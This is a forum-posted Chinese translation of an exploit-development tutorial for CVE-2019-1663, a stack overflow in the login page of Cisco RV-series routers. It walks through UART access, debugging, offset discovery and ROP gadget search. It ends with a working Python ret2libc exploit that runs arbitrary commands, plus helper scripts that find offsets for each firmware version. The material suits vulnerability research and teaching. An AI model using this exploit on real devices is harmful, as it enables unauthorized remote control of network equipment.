首页
论坛
专栏
课程

[翻译]利用Exploiting CVE-2019-1663

2019-11-3 00:18 1829

[翻译]利用Exploiting CVE-2019-1663

2019-11-3 00:18
1829
几个月前,Pentest Partners发表了一篇文章介绍了CVE-2019-1663,一个影响Cisco的多个低端设备(RV110, RV130, RV225)的堆栈缓冲区溢出。

我有点怀念在基于ARM的平台上进行二进制开发,所以我认为这是一个重新开始的好机会。

获得一个真实案例

我最初是用QEMU、一个未打包的固件和libnvram的组合来重现这个问题,但这个漏洞毫无价值,因为在移植到真正的思科设备上是偏移是错误的。因此,我在eBay上订购了一台二手设备。

 

我已经习惯了Cisco设备,所以我想我至少可以通过SSH或控制台电线(cable)在设备上获得一个shell,但是那个该死的RV130没有提供这两个功能:/

 

为了克服这个问题,我打开了外壳,识别出UART 引脚。从那里,我可以使用一个来自@XipiterSec的基于FTDI32的设备Shikra进行串行连接。

 


我没有带逻辑分析,所以我通过试错来确定波特率(正确的波特率是38400)。一旦设备启动,你会看到我们想要的东西:根shell:)

U-Boot 2008.10-mpcore-svn4057 (Mar 30 2017 - 17:03:34)
Cavium Networks CNS3XXX SDK v1.2-2515 CNS3420vb2x parallel flash

CyberTan U-Boot Version: 1.0.3.28

CPU: Cavium Networks CNS3000
ID Code: 410fb024 (Part number: 0xB02, Revision number: 4) 
CPU ID: 900 
Chip Version: c
Boot from parallel flash

--boot log--
BusyBox v1.7.2 (2017-03-30 17:11:36 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.

# id
uid=0 gid=0
# uname -avr
Linux RV130W 2.6.31.1-cavm1 #1 Thu Mar 30 17:04:29 CST 2017 armv6l unknown

重现bug

如果你阅读Pentest Partner他们的文章,可能注意到这个请求:

POST /login.cgi HTTP/1.1
Host: 192.168.22.158
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://192.168.22.158/
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 571

submit_button=login&submit_type=&gui_action=&default_login=1&wait_time=0&change_action=&enc=1
&user=cisco&pwd=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAZZZZ
&sel_lang=EN

第一步是在设备上获得gdbserver并将其附加到正在运行的http服务器。我从Hugsy (GEF的创建者)的repo下载用于ARMv6l的静态链接的gdbserver版本。

# cd /tmp/
# wget http://192.168.1.100:8000/gdbserver
Connecting to 192.168.1.100:8000 (192.168.1.100:8000)
gdbserver            100% |*******************************|  1599k --:--:-- ETA
# chmod +x gdbserver
# ps w | grep httpd
  808 0          5028 S   httpd
  816 0          5092 S   httpd -S
# ./gdbserver --attach :1234 816
Attached; pid = 816
Listening on port 1234

现在我们可以使用gdb-multiarch远程连接到gdbserver。我使用下面的GDB init文件使事情更容易:

set architecture arm
set follow-fork-mode child
file /home/quentin/research/RV130/squashfs-root/usr/sbin/httpd
set solib-search-path /home/quentin/research/RV130/squashfs-root/lib
target remote 192.168.1.1:1234

当您提交样例请求时,您将看到如下所示的segfault。成功!

确定缓冲区的长度

为了知道需要多少填充来溢出strcpy将复制到的缓冲区,我们将使用gef “pattern create”和“pattern search”。

gef➤ pattern create 512
[+] Generating a pattern of 512 bytes
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
zaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab
zaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaac
zaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaad
zaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaae
zaafbaafcaaf
[+] Saved as '$_gef0'

我们使用下面这个pattern来触发漏洞

curl -i -k -X POST https://192.168.1.1/login.cgi -d 'submit_button=login&submit_type=&gui_action=&default_login=1&wait_time=0&change_action=&enc=1&user=cisco&pwd=aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaaf&sel_lang=EN'

我们看到当可执行程序在0x616d6560执行指令时发生了崩溃:

gef➤  c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x616d6560 in ?? ()

我们现在可以通过搜索我们的pattern来找到偏移量。注意,我搜索的是0x616d6561而不是0x616d6560,因为当最小有效位为偶数时,ARM CPU切换到thumb模式。

gef➤  pattern search 0x616d6561
[+] Searching '0x616d6561'
[+] Found at offset 446 (little-endian search) likely

现在我们知道,我们的有效载荷需要446位填充来溢出缓冲区和控制程序计数器。

Ret2Libc

 

我们的第一次开发将利用“retlibc”。它背后的思想很简单:不需要执行一个ROP链来使堆栈可执行,然后让程序计数器指向堆栈来执行shell代码,我们只需让r0(第一个参数)指向堆栈,然后调用system
为此,我们需要取得以下信息:

* 当libc被系统映射时的基本地
* libc内系统的偏移地址
* 将堆栈指针值移动到r0的小工具
* 一种将程序计数器从堆栈中取出以调用系统的小工具

通过现场调试会话很容易获得前两个信息。首先调用vmmap查看内存映射。正如我们在下面的输出中看到的,libc被映射到0x357fb000。

gef➤  vmmap
Start      End        Offset     Perm Path
0x00008000 0x00099000 0x00000000 r-x /usr/sbin/httpd
0x000a0000 0x000a9000 0x00090000 rwx /usr/sbin/httpd
0x000a9000 0x000de000 0x00000000 rwx [heap]
0x35556000 0x35557000 0x00000000 rwx 
0x35558000 0x3555d000 0x00000000 r-x /lib/ld-uClibc.so.0
0x35564000 0x35565000 0x00004000 r-x /lib/ld-uClibc.so.0
0x35565000 0x35566000 0x00005000 rwx /lib/ld-uClibc.so.0
0x35566000 0x3556d000 0x00000000 r-x /usr/lib/libnvram.so
0x3556d000 0x35574000 0x00000000 --- 
0x35574000 0x35575000 0x00006000 rwx /usr/lib/libnvram.so
0x35575000 0x3557d000 0x00000000 rwx 
0x3557d000 0x355d7000 0x00000000 r-x /usr/lib/libshared.so
0x355d7000 0x355de000 0x00000000 --- 
0x355de000 0x355e4000 0x00059000 rwx /usr/lib/libshared.so
0x355e4000 0x355ed000 0x00000000 rwx 
0x355ed000 0x35608000 0x00000000 r-x /usr/lib/libcbt.so
0x35608000 0x35610000 0x00000000 --- 
0x35610000 0x35611000 0x0001b000 rwx /usr/lib/libcbt.so
0x35611000 0x35612000 0x00000000 r-x /usr/lib/librogueap.so
0x35612000 0x3561a000 0x00000000 --- 
0x3561a000 0x3561b000 0x00001000 rwx /usr/lib/librogueap.so
0x3561b000 0x35672000 0x00000000 r-x /usr/lib/libssl.so.1.0.0
0x35672000 0x3567a000 0x00000000 --- 
0x3567a000 0x35680000 0x00057000 rwx /usr/lib/libssl.so.1.0.0
0x35680000 0x357dd000 0x00000000 r-x /usr/lib/libcrypto.so.1.0.0
0x357dd000 0x357e4000 0x00000000 --- 
0x357e4000 0x357f9000 0x0015c000 rwx /usr/lib/libcrypto.so.1.0.0
0x357f9000 0x357fb000 0x00000000 rwx 
0x357fb000 0x35858000 0x00000000 r-x /lib/libc.so.0
0x35858000 0x35860000 0x00000000 --- 
0x35860000 0x35861000 0x0005d000 r-x /lib/libc.so.0
0x35861000 0x35862000 0x0005e000 rwx /lib/libc.so.0
0x35862000 0x35867000 0x00000000 rwx 
0x35867000 0x35869000 0x00000000 r-x /lib/libdl.so.0
0x35869000 0x35870000 0x00000000 --- 
0x35870000 0x35871000 0x00001000 r-x /lib/libdl.so.0
0x35871000 0x35872000 0x00000000 rwx 
0x35872000 0x3587c000 0x00000000 r-x /lib/libgcc_s.so.1
0x3587c000 0x35883000 0x00000000 --- 
0x35883000 0x35884000 0x00009000 rwx /lib/libgcc_s.so.1
0x35884000 0x35904000 0x00000000 rwx /SYSV00000457(deleted)
0x35904000 0x35984000 0x00000000 r-x /SYSV00000457(deleted)
0x9efaa000 0x9efbf000 0x00000000 rw- [stack]

要获得系统的偏移,你可以使用静态radare2:

radare2 -A libc.so.0
[x] Analyze all flags starting with sym. and entry0 (aa)
[Value from 0x00000000 to 0x0005cfec
[x] Analyze len bytes of instructions for references (aar)
[x] Analyze function calls (aac)
[x] Constructing a function name for fcn.* and sym.func.* functions (aan)
[0x0000bbc0]> afl | grep system
 0x0003ed84    1 72           sym.svcerr_systemerr
 0x0004d144    7 328          sym.system

同时也可以在GDB动态调试:

gef➤  b system
Breakpoint 1 at 0x35848144

从GDB得到的值只是函数偏移量(0x0004d144添加到libc的map)
0x357fb000)。
我们得到了系统地址,现在我们需要找到我们的小工具。要做到这一点,我将依靠Ropper

(ropper)> file libc.so.0
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] File loaded.
(libc.so.0/ELF/ARM)> search mov r0, sp
[INFO] Searching for gadgets: mov r0, sp

[INFO] File: libc.so.0
0x00010d08: mov r0, sp; bl #0xba64; add sp, sp, #0x14; pop {r4, r5, r6, r7, pc};
0x00028700: mov r0, sp; bl #0xba64; mov r0, r4; add sp, sp, #0x10; pop {r4, r5, r6, pc};
0x00028764: mov r0, sp; bl #0xba64; mov r0, r4; add sp, sp, #0x14; pop {r4, r5, pc};
0x00018964: mov r0, sp; bl #0xba64; mov r0, r4; add sp, sp, #0x14; pop {r4, r5, r6, r7, pc};
0x0002868c: mov r0, sp; bl #0xba64; mov r0, r6; add sp, sp, #0x14; pop {r4, r5, r6, r7, pc};
0x0004ab0c: mov r0, sp; bl #0xf170; add sp, sp, #0xc; pop {r4, r5, pc};
0x00041308: mov r0, sp; blx r2;
0x00041308: mov r0, sp; blx r2; add sp, sp, #0x1c; ldm sp!, {pc}; mov r0, #1; bx lr;
0x00037884: mov r0, sp; blx r3;
--snip--

在我看来,最有趣的是位于0x00041308的那个指令,这意味着我们需要找到一个小工具,把r2从堆栈中取出来。

(libc.so.0/ELF/ARM)> search pop {r2
[INFO] Searching for gadgets: pop {r2

[INFO] File: libc.so.0
0x00052620: pop {r2, r3}; bx lr;
0x00052620: pop {r2, r3}; bx lr; push {r1, lr}; mov r0, #8; bl #0xbba8; pop {r1, pc};

没什么有趣的,让我们切换到Thumb模式,看看是否有什么事情发生:

(libc.so.0/ELF/ARM)> arch ARMTHUMB
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
(libc.so.0/ELF/ARMTHUMB)> search pop {r2
[INFO] Searching for gadgets: pop {r2

[INFO] File: libc.so.0
0x000060b8 (0x000060b9): pop {r2, r3, r4, r5, pc};
0x0003d1bc (0x0003d1bd): pop {r2, r3, r4, r5, r6, pc};
0x00020b98 (0x00020b99): pop {r2, r3, r4, r5, r6, r7, pc};
0x00053294 (0x00053295): pop {r2, r3, r4, r5, r7, pc};
0x0002a0e4 (0x0002a0e5): pop {r2, r3, r4, r6, r7, pc};
0x00027b80 (0x00027b81): pop {r2, r3, r4, r7, pc};
0x00020bd8 (0x00020bd9): pop {r2, r3, r5, r6, r7, pc};
0x0003d11c (0x0003d11d): pop {r2, r3, r5, r7, pc};
0x00020e38 (0x00020e39): pop {r2, r4, r6, pc};
0x00006eb8 (0x00006eb9): pop {r2, r5, r6, r7, pc};
0x00020e78 (0x00020e79): pop {r2, r6, pc};
0x000209f6 (0x000209f7): pop.w {r2, r6, r7, sl, ip, lr}; movs r4, r0; lsls r4, r1, #0x1d; movs r0, r0; blx lr;
0x000443ae (0x000443af): pop.w {r2, r6, r8, sb, fp, ip}; movs r2, r0; strh r4, [r0, r7]; movs r0, r0; blx lr;

现在我们可以使用位于0x00020e79的gadget了。

利用

所以让我们使用python写一个快速可行的利用:

#!/usr/bin/env python
"""
Exploit for Cisco RV130 stack-based buffer overflow (CVE-2019-1663).

This piece of code will execute a command on the device by using ret2libc
technique.
"""
import struct
import sys
import requests


offset = 446
libc_base_addr = 0x357fb000
system_offset = 0x0004d144
gadget1 = 0x00020e79 # pop {r2, r6, pc};
gadget2 = 0x00041308 # mov r0, sp; blx r2;

def exploit(ip, cmd):

    buf = "A" * offset
    buf += struct.pack("<L", libc_base_addr + gadget1)
    buf += struct.pack("<L", libc_base_addr + system_offset) # r2
    buf += "XXXX"                                            # r6
    buf += struct.pack("<L", libc_base_addr + gadget2) #pc
    buf += cmd

    params = {
        "submit_button": "login",
        "submit_type": None,
        "gui_action": None,
        "wait_time": 0,
        "change_action": None,
        "enc": 1,
        "user": "cisco",
        "pwd": buf,
        "sel_lang": "EN"
    }
    requests.post("https://%s/login.cgi" % ip, data=params, verify=False)

if __name__ == '__main__':
    if len(sys.argv) < 3:
        print("Usage: %s ip cmd" % (sys.argv[0]))
        sys.exit(1)
    exploit(sys.argv[1], sys.argv[2])

这个利用的思路如下:

我们用gadget1的地址覆盖程序计数器。当执行gadget1 (pop {r2, r6, pc})时,堆栈看起来是这样的:

这意味着r2将保存系统地址,r6保存一些无用的随机垃圾,program counter(PC)将保存gadget2地址,使程序跳转到该地址。

当执行gadget2时,堆栈看起来是这样的:

然后我们转移到r2, r2保存了系统的地址,以r0作为参数。给定r0指向堆栈,system将执行我们的命令。

工业化编写利用

找准RV130很容易,因为libc不会随着版本的不同而改变,这意味着所有的偏移量都是一样的,不管固件版本是什么:

find -name "libc.so.0" -exec sha1sum {} \;
a9cc842a0641dff43765c9110167316598252a5f  ./RV130X_FW_1.0.0.21/lib/libc.so.0
a9cc842a0641dff43765c9110167316598252a5f  ./RV130X_FW_1.0.1.3/lib/libc.so.0
a9cc842a0641dff43765c9110167316598252a5f  ./RV130X_FW_1.0.2.7./lib/libc.so.0
a9cc842a0641dff43765c9110167316598252a5f  ./RV130X_FW_1.0.3.14/lib/libc.so.0
a9cc842a0641dff43765c9110167316598252a5f  ./RV130X_FW_1.0.3.16/lib/libc.so.0
a9cc842a0641dff43765c9110167316598252a5f  ./RV130X_FW_1.0.3.22/lib/libc.so.0
a9cc842a0641dff43765c9110167316598252a5f  ./RV130X_FW_1.0.3.28/lib/libc.so.0
a9cc842a0641dff43765c9110167316598252a5f  ./RV130X_FW_1.0.3.44/lib/libc.so.0
a9cc842a0641dff43765c9110167316598252a5f  ./RV130X_FW_1.0.3.45/lib/libc.so.0
a9cc842a0641dff43765c9110167316598252a5f  ./RV130X_FW_1.0.3.51/lib/libc.so.0

然而,在调整Metasploit模块以支持RV110W和RV215W设备时,我面临着一个非常重复和无聊的任务:为每个固件版本查找偏移量。

 

因此,我编写了两个利用radare2和Ropper脚本功能的实用程序脚本。

 

第一个自动从提供的libc文件返回系统地址:

#!/usr/bin/env python
import sys
import json
import r2pipe
import os

def get_system_offset(executable):
    """
    Args:
        executable(str): path to ELF file
    Returns:
        offset(int): address of system
    """
    r = r2pipe.open(executable, flags=['-2'])
    r.cmd('aa')
    functions = json.loads(r.cmd("aflj"))
    for f in functions:
        if f['name'] == 'sym.system':
            return hex(f['offset'])
    r.quit()

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print("Usage: {} executable_path".format(sys.argv[0]))
        sys.exit(-1)

    print("{} - {}".format(sys.argv[1], get_system_offset(sys.argv[1])))

以下是搜索系统的偏移在所有RV110固件版本:

find -type f -name 'libc.so.0' -exec ./find_system.py {} \; 
./firmwares/RV110W_FW_1.1.0.9/lib/libc.so.0 - 0x50d40
./firmwares/RV110W_FW_1.2.0.9/lib/libc.so.0 - 0x4c7e0
./firmwares/RV110W_FW_1.2.0.10/lib/libc.so.0 - 0x4c7e0
./firmwares/RV110W_FW_1.2.1.4/lib/libc.so.0 - 0x4c7e0
./firmwares/RV110W_FW_1.2.1.7/lib/libc.so.0 - 0x4c7e0
./firmwares/RV110W_FW_1.2.2.1/lib/libc.so.0 - 0x50d40
./firmwares/RV110W_FW_1.2.2.4/lib/libc.so.0 - 0x4c7e0

第二个是在一个文件中找到一个特定的gadget偏移量:

#!/usr/bin/env python
from ropper import RopperService
import sys
# not all options need to be given
options = {'color' : False,     # if gadgets are printed, use colored output: default: False
            'badbytes': '00',   # bad bytes which should not be in addresses or ropchains; default: ''
            'all' : False,      # Show all gadgets, this means to not remove double gadgets; default: False
            'inst_count' : 6,   # Number of instructions in a gadget; default: 6
            'type' : 'all',     # rop, jop, sys, all; default: all
            'detailed' : False} # if gadgets are printed, use detailed output; default: False

rs = RopperService(options)

##### change options ######
rs.options.color = True
rs.options.badbytes = '00'
rs.options.badbytes = ''
rs.options.all = True


##### open binaries ######
# it is possible to open multiple files
rs.addFile(sys.argv[1], arch='MIPS')

# load gadgets for all opened files
rs.loadGadgetsFor()

result_dict = rs.searchdict(search=sys.argv[2])
for file, gadgets in result_dict.items():
    print file
    for gadget in gadgets:
        print hex(gadget.address), gadget

用如下指令运行脚本:

find -name "libcrypto.so" -exec ./search_gadget.py {} 'addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0;' \;
./RV110W_FW_1.1.0.9/usr/lib/libcrypto.so
0x167c8cL 0x00167c8c: addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0;
./RV110W_FW_1.2.0.9/usr/lib/libcrypto.so
0x167c4cL 0x00167c4c: addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0;
./RV110W_FW_1.2.0.10/usr/lib/libcrypto.so
0x151fbcL 0x00151fbc: addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0;
./RV110W_FW_1.2.1.4/usr/lib/libcrypto.so
0x5059cL 0x0005059c: addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0;
./RV110W_FW_1.2.1.7/usr/lib/libcrypto.so
0x3e7dcL 0x0003e7dc: addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0;

结论

我希望你能从我的小项目中学到一些东西。对于想要利用这个漏洞的pentester来说,一个支持所有受影响设备和固件版本的Metasploit模块最近已经被合并了。

翻译:wangrin

原文:https://quentinkaiser.be/exploitdev/2019/08/30/exploit-CVE-2019-1663/



[公告]安全测试和项目外包请将项目需求发到看雪企服平台:https://qifu.kanxue.com

最新回复 (0)
游客
登录 | 注册 方可回帖
返回